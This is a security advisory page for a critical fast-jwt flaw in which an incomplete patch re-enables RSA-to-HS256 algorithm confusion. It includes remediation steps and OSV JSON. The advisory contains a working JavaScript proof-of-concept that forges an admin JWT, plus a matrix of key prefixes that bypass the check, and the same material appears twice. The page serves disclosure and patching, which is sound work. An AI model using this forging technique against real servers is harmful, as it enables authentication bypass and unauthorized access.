CVE-2026-107722: fast-jwt Incomplete Patch Of CVE-2026-34950: Non-whitespace Vulnerability

CRITICAL
Advisory Identifier: GHSA-ww5h-9m49-7xx4
CVSS 9.8
CWE-347
Published
Advisory Summary

CVE-2026-107722 is a CRITICAL (CVSS 9.8) incomplete patch of cve-2026-34950: non-whitespace vulnerability (CWE-347: Improper Verification of Cryptographic Signature) affecting fast-jwt libraries in the npm ecosystem. The issue involves incomplete patch of cve-2026-34950: non-whitespace key-prefix re-enables rsa→hs256 algorithm confusion. Remediation is available by upgrading affected packages to version 6.3.0.

CVE-2026-107722 at a Glance

CVE Identifier CVE-2026-107722
GHSA Identifier GHSA-ww5h-9m49-7xx4
Severity CRITICAL
CVSS v3.1 Base Score 9.8
CWE Classification CWE-347: Improper Verification of Cryptographic Signature
Affected Product fast-jwt
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 9.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-107722

To remediate this vulnerability, upgrade all affected fast-jwt dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

fast-jwt fixed: 6.3.0
npm install fast-jwt@6.3.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls fast-jwt

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-107722, inspect your project dependencies using npm:

npm ls fast-jwt

Analyze the terminal output to locate any version of fast-jwt in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 6.3.0), your application is affected.

Note: The npm ls fast-jwt command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-347: Improper Verification of Cryptographic Signature, where the product does not verify, or incorrectly verifies, the cryptographic signature for data. In fast-jwt, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The fix for CVE-2026-34950 (CVSS 9.1, released in v6.2.0) is **incomplete**. It adds `key.trim()` to the PEM-detection path in `src/crypto.js`, but `String.prototype.trim()` only strips characters classified as whitespace by the ECMAScript specification. The subsequent `^`-anchored regex (`/^-----BEGIN(?: (RSA))? PUBLIC KEY-----/`) still requires the PEM header at position 0 — so **any non-whitespace leading byte** (control chars, zero-width unicode, `#` comments, HTTP-style headers, PGP wrappers) bypasses detection and falls through to the HMAC verification path, using the RSA public key as the HMAC shared secret. Net result: the **exact same RSA→HS256 algorithm-confusion attack** the original CVE addressed is fully re-enabled with a slightly different leading byte. **Attack prerequisites are identical to CVE-2026-34950**: attacker knows the target's public RSA key (which is public by definition), and the target loads that key from a source whose content may have a non-whitespace prefix (DB column with corrupted encoding, YAML config with inline comment, copy-paste from formatted document, etc.). **Verified on fast-jwt@6.2.2 (latest as of 2026-04-23) with a 10-line PoC.** ### Details Post-patch code (`src/crypto.js`, lines ~74-171 in `performDetectPublicKeyAlgorithms`): ```js function performDetectPublicKeyAlgorithms(key) { const trimmedKey = key.trim() // <-- CVE-2026-34950 patch added this if (publicKeyPemMatcher.test(trimmedKey)) { // treat as RSA/EC public key ... } // fall-through: treat as HMAC secret <-- bug: reachable via non-whitespace prefix ... } const publicKeyPemMatcher = /^-----BEGIN(?: (RSA))? PUBLIC KEY-----/ ``` **The bug**: `String.prototype.trim()` only strips whitespace (U+0009-U+000D, U+0020, U+00A0, U+1680, U+2000-U+200A, U+2028-U+2029, U+202F, U+205F, U+3000, U+FEFF). Non-whitespace leading bytes keep the PEM header off position 0, the `^`-anchored regex fails, and execution falls through to the HMAC path with `key` being used as the shared secret. The attacker controls the token signature (signed with the same public key) and the verifier accepts. Identical root cause as CVE-2026-34950 — the fix was textually narrow (whitespace only) rather than addressing the class (any surrounding content). ### PoC ```js 'use strict'; const { createHmac, generateKeyPairSync } = require('node:crypto'); const { createVerifier } = require('fast-jwt'); const { publicKey } = generateKeyPairSync('rsa', { modulusLength: 2048 }); const pem = publicKey.export({ type: 'pkcs1', format: 'pem' }).toString(); // Attacker-controlled "key" content as loaded by the verifier // (models a realistic deployment: key with a leading metadata comment) const key = '# some comment\n' + pem; const header = Buffer.from(JSON.stringify({ alg: 'HS256', typ: 'JWT' })).toString('base64url'); const payload = Buffer.from(JSON.stringify({ admin: true, sub: 'attacker' })).toString('base64url'); const sig = createHmac('sha256', key).update(header + '.' + payload).digest('base64url'); const forgedToken = header + '.' + payload + '.' + sig; const verifier = createVerifier({ key }); console.log('Forged token payload:', verifier(forgedToken)); console.log('Package version:', require('fast-jwt/package.json').version); ``` **Observed output (2026-04-23, fresh npm install):** ``` Forged token payload: { admin: true, sub: 'attacker' } Package version: 6.2.2 ``` ### Full bypass matrix (all verified accepting a forged admin token) | Leading content | Accepted as admin? | |---|:-:| | `# some comment\n` + PEM | ✅ BYPASS | | `U+0000` (NUL) + PEM | ✅ BYPASS | | `U+0001` (SOH) + PEM | ✅ BYPASS | | `U+0008` (BACKSPACE) + PEM | ✅ BYPASS | | `U+001B` (ESC, ANSI-color) + PEM | ✅ BYPASS | | `U+007F` (DEL) + PEM | ✅ BYPASS | | `U+200B` (ZWSP) + PEM | ✅ BYPASS | | `U+200D` (ZWJ) + PEM | ✅ BYPASS | | `HTTP/1.1 200 OK\r\n\r\n` + PEM | ✅ BYPASS | | PGP-wrapper text + PEM | ✅ BYPASS | | `.` + PEM | ✅ BYPASS | | `U+FEFF` (BOM) + PEM | ❌ correctly stripped by trim | ### Defense matrix (which caller configs are vulnerable) | Caller config | Vulnerable? | |---|:-:| | `createVerifier({ key })` (no `algorithms` allowlist) | ✗ VULNERABLE | | `createVerifier({ key: asyncCallback })` | ✗ VULNERABLE | | `createVerifier({ key, algorithms: ['RS256'] })` | ✓ protected | | `createVerifier({ key, algorithms: ['HS256'] })` | ✗ VULNERABLE (attacker matches) | ### Impact 1. **Authentication bypass** — attacker forges arbitrary JWT claims (admin, tenant-id, user-id) accepted by any server using fast-jwt 6.2.x without an `algorithms` allowlist AND loading its verification key from a source that may contain non-whitespace prefix bytes. 2. **Severity-parity with CVE-2026-34950** — attack chain, prerequisites, exploitation ease, and impact are identical; only the trigger byte differs. The fix addressed *one* trigger (whitespace) rather than the class (any surrounding content before `-----BEGIN`). 3. **Broad fast-jwt deployment** — default JWT backend of `@fastify/jwt`; used by many Fastify-based Node.js APIs. ### Suggested fix **Option A (minimal)** — locate the PEM block rather than anchoring on position 0: ```js const pemStart = trimmedKey.indexOf('-----BEGIN') if (pemStart !== -1 && publicKeyPemMatcher.test(trimmedKey.slice(pemStart))) { ... } ``` **Option B (strict, recommended)** — require the key to be exactly a PEM block: ```js const pemMatch = /-----BEGIN (RSA )?PUBLIC KEY-----[\s\S]+?-----END \1?PUBLIC KEY-----/.exec(trimmedKey) if (pemMatch && pemMatch[0].trim() === trimmedKey.trim()) { /* valid PEM, no surrounding content */ } ``` **Option C (defense-in-depth, regardless of A/B)** — on the HMAC fallback path, reject any key that *contains* PEM markers: ```js if (rawKey.includes('-----BEGIN') || rawKey.includes('-----END')) { throw new Error('Key appears to be a PEM-encoded asymmetric key but did not match expected format; refusing HMAC fallback') } ``` ### Test coverage gap `test/crypto.spec.js` post-CVE-2026-34950 only tests whitespace padding (`['\n', ' ', ' \n', '\n ', '\t\t']`). Add coverage for: - Control bytes (U+0000-U+001F, U+007F) - Zero-width Unicode (U+200B, U+200C, U+200D, U+180E) - Comment prefixes (`#`, `//`, `;`, `--`) - Mixed-content wrappers (PGP blocks, HTTP headers) - Arbitrary binary prefix bytes ### Credit Reporter: DC INFOSEC / n0l3x — source-code review + end-to-end PoC verification.

CVE-2026-107722 Affected fast-jwt Versions

1 component(s)
Fixed Versions:
6.3.0
Product / Package Ecosystem Affected Versions Fixed Version
fast-jwt
npm
≥ 6.2.0
< 6.3.0
6.3.0

References

Frequently Asked Questions

What is CVE-2026-107722?
CVE-2026-107722 is a security vulnerability in fast-jwt involving Incomplete patch of CVE-2026-34950: Non-whitespace key-prefix re-enables RSA→HS256 algorithm confusion under CWE-347: Improper Verification of Cryptographic Signature.
Which fast-jwt versions are affected?
Affected versions include releases prior to 6.3.0 across affected packages: fast-jwt.
What version fixes CVE-2026-107722?
Upgrading to 6.3.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is fast-jwt affected?
Yes, fast-jwt is affected in releases prior to 6.3.0. Upgrade your dependency to 6.3.0 or later.
What is the CVSS score of CVE-2026-107722?
CVE-2026-107722 has a CVSS v3.1 base score of 9.8 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-107722?
CVE-2026-107722 is classified under CWE-347: Improper Verification of Cryptographic Signature (The product does not verify, or incorrectly verifies, the cryptographic signature for data.).
How can I check npm dependencies for CVE-2026-107722?
Run the dependency tree command: 'npm ls fast-jwt'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-ww5h-9m49-7xx4",
  "modified" : "2026-10-08T22:02:07Z",
  "published" : "2026-10-08T22:02:07Z",
  "aliases" : [ "CVE-2026-107722" ],
  "summary" : "fast-jwt: Incomplete patch of CVE-2026-34950: Non-whitespace key-prefix re-enables RSA→HS256 algorithm confusion",
  "details" : "### Summary\n\nThe fix for CVE-2026-34950 (CVSS 9.1, released in v6.2.0) is **incomplete**. It adds `key.trim()` to the PEM-detection path in `src/crypto.js`, but `String.prototype.trim()` only strips characters classified as whitespace by the ECMAScript specification. The subsequent `^`-anchored regex (`/^-----BEGIN(?: (RSA))? PUBLIC KEY-----/`) still requires the PEM header at position 0 — so **any non-whitespace leading byte** (control chars, zero-width unicode, `#` comments, HTTP-style headers, PGP wrappers) bypasses detection and falls through to the HMAC verification path, using the RSA public key as the HMAC shared secret. Net result: the **exact same RSA→HS256 algorithm-confusion attack** the original CVE addressed is fully re-enabled with a slightly different leading byte.\n\n**Attack prerequisites are identical to CVE-2026-34950**: attacker knows the target's public RSA key (which is public by definition), and the target loads that key from a source whose content may have a non-whitespace prefix (DB column with corrupted encoding, YAML config with inline comment, copy-paste from formatted document, etc.).\n\n**Verified on fast-jwt@6.2.2 (latest as of 2026-04-23) with a 10-line PoC.**\n\n### Details\n\nPost-patch code (`src/crypto.js`, lines ~74-171 in `performDetectPublicKeyAlgorithms`):\n\n```js\nfunction performDetectPublicKeyAlgorithms(key) {\n    const trimmedKey = key.trim()  // <-- CVE-2026-34950 patch added this\n    if (publicKeyPemMatcher.test(trimmedKey)) {\n        // treat as RSA/EC public key\n        ...\n    }\n    // fall-through: treat as HMAC secret  <-- bug: reachable via non-whitespace prefix\n    ...\n}\nconst publicKeyPemMatcher = /^-----BEGIN(?: (RSA))? PUBLIC KEY-----/\n```\n\n**The bug**: `String.prototype.trim()` only strips whitespace (U+0009-U+000D, U+0020, U+00A0, U+1680, U+2000-U+200A, U+2028-U+2029, U+202F, U+205F, U+3000, U+FEFF). Non-whitespace leading bytes keep the PEM header off position 0, the `^`-anchored regex fails, and execution falls through to the HMAC path with `key` being used as the shared secret. The attacker controls the token signature (signed with the same public key) and the verifier accepts.\n\nIdentical root cause as CVE-2026-34950 — the fix was textually narrow (whitespace only) rather than addressing the class (any surrounding content).\n\n### PoC\n\n```js\n'use strict';\nconst { createHmac, generateKeyPairSync } = require('node:crypto');\nconst { createVerifier } = require('fast-jwt');\n\nconst { publicKey } = generateKeyPairSync('rsa', { modulusLength: 2048 });\nconst pem = publicKey.export({ type: 'pkcs1', format: 'pem' }).toString();\n\n// Attacker-controlled \"key\" content as loaded by the verifier\n// (models a realistic deployment: key with a leading metadata comment)\nconst key = '# some comment\\n' + pem;\n\nconst header = Buffer.from(JSON.stringify({ alg: 'HS256', typ: 'JWT' })).toString('base64url');\nconst payload = Buffer.from(JSON.stringify({ admin: true, sub: 'attacker' })).toString('base64url');\nconst sig = createHmac('sha256', key).update(header + '.' + payload).digest('base64url');\nconst forgedToken = header + '.' + payload + '.' + sig;\n\nconst verifier = createVerifier({ key });\nconsole.log('Forged token payload:', verifier(forgedToken));\nconsole.log('Package version:', require('fast-jwt/package.json').version);\n```\n\n**Observed output (2026-04-23, fresh npm install):**\n```\nForged token payload: { admin: true, sub: 'attacker' }\nPackage version: 6.2.2\n```\n\n### Full bypass matrix (all verified accepting a forged admin token)\n\n| Leading content | Accepted as admin? |\n|---|:-:|\n| `# some comment\\n` + PEM | ✅ BYPASS |\n| `U+0000` (NUL) + PEM | ✅ BYPASS |\n| `U+0001` (SOH) + PEM | ✅ BYPASS |\n| `U+0008` (BACKSPACE) + PEM | ✅ BYPASS |\n| `U+001B` (ESC, ANSI-color) + PEM | ✅ BYPASS |\n| `U+007F` (DEL) + PEM | ✅ BYPASS |\n| `U+200B` (ZWSP) + PEM | ✅ BYPASS |\n| `U+200D` (ZWJ) + PEM | ✅ BYPASS |\n| `HTTP/1.1 200 OK\\r\\n\\r\\n` + PEM | ✅ BYPASS |\n| PGP-wrapper text + PEM | ✅ BYPASS |\n| `.` + PEM | ✅ BYPASS |\n| `U+FEFF` (BOM) + PEM | ❌ correctly stripped by trim |\n\n### Defense matrix (which caller configs are vulnerable)\n\n| Caller config | Vulnerable? |\n|---|:-:|\n| `createVerifier({ key })` (no `algorithms` allowlist) | ✗ VULNERABLE |\n| `createVerifier({ key: asyncCallback })` | ✗ VULNERABLE |\n| `createVerifier({ key, algorithms: ['RS256'] })` | ✓ protected |\n| `createVerifier({ key, algorithms: ['HS256'] })` | ✗ VULNERABLE (attacker matches) |\n\n### Impact\n\n1. **Authentication bypass** — attacker forges arbitrary JWT claims (admin, tenant-id, user-id) accepted by any server using fast-jwt 6.2.x without an `algorithms` allowlist AND loading its verification key from a source that may contain non-whitespace prefix bytes.\n2. **Severity-parity with CVE-2026-34950** — attack chain, prerequisites, exploitation ease, and impact are identical; only the trigger byte differs. The fix addressed *one* trigger (whitespace) rather than the class (any surrounding content before `-----BEGIN`).\n3. **Broad fast-jwt deployment** — default JWT backend of `@fastify/jwt`; used by many Fastify-based Node.js APIs.\n\n### Suggested fix\n\n**Option A (minimal)** — locate the PEM block rather than anchoring on position 0:\n\n```js\nconst pemStart = trimmedKey.indexOf('-----BEGIN')\nif (pemStart !== -1 && publicKeyPemMatcher.test(trimmedKey.slice(pemStart))) { ... }\n```\n\n**Option B (strict, recommended)** — require the key to be exactly a PEM block:\n\n```js\nconst pemMatch = /-----BEGIN (RSA )?PUBLIC KEY-----[\\s\\S]+?-----END \\1?PUBLIC KEY-----/.exec(trimmedKey)\nif (pemMatch && pemMatch[0].trim() === trimmedKey.trim()) { /* valid PEM, no surrounding content */ }\n```\n\n**Option C (defense-in-depth, regardless of A/B)** — on the HMAC fallback path, reject any key that *contains* PEM markers:\n\n```js\nif (rawKey.includes('-----BEGIN') || rawKey.includes('-----END')) {\n    throw new Error('Key appears to be a PEM-encoded asymmetric key but did not match expected format; refusing HMAC fallback')\n}\n```\n\n### Test coverage gap\n\n`test/crypto.spec.js` post-CVE-2026-34950 only tests whitespace padding (`['\\n', ' ', ' \\n', '\\n ', '\\t\\t']`). Add coverage for:\n- Control bytes (U+0000-U+001F, U+007F)\n- Zero-width Unicode (U+200B, U+200C, U+200D, U+180E)\n- Comment prefixes (`#`, `//`, `;`, `--`)\n- Mixed-content wrappers (PGP blocks, HTTP headers)\n- Arbitrary binary prefix bytes\n\n### Credit\n\nReporter: DC INFOSEC / n0l3x — source-code review + end-to-end PoC verification.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "fast-jwt"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "6.2.0"
      }, {
        "fixed" : "6.3.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 6.2.4"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/nearform/fast-jwt/security/advisories/GHSA-ww5h-9m49-7xx4"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nearform/fast-jwt/pull/632"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nearform/fast-jwt/commit/d96bbc6c5336055a6dbfa318fdbab01197264cfa"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/nearform/fast-jwt"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nearform/fast-jwt/releases/tag/v6.3.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-347" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-10-08T22:02:07Z",
    "nvd_published_at" : null
  }
}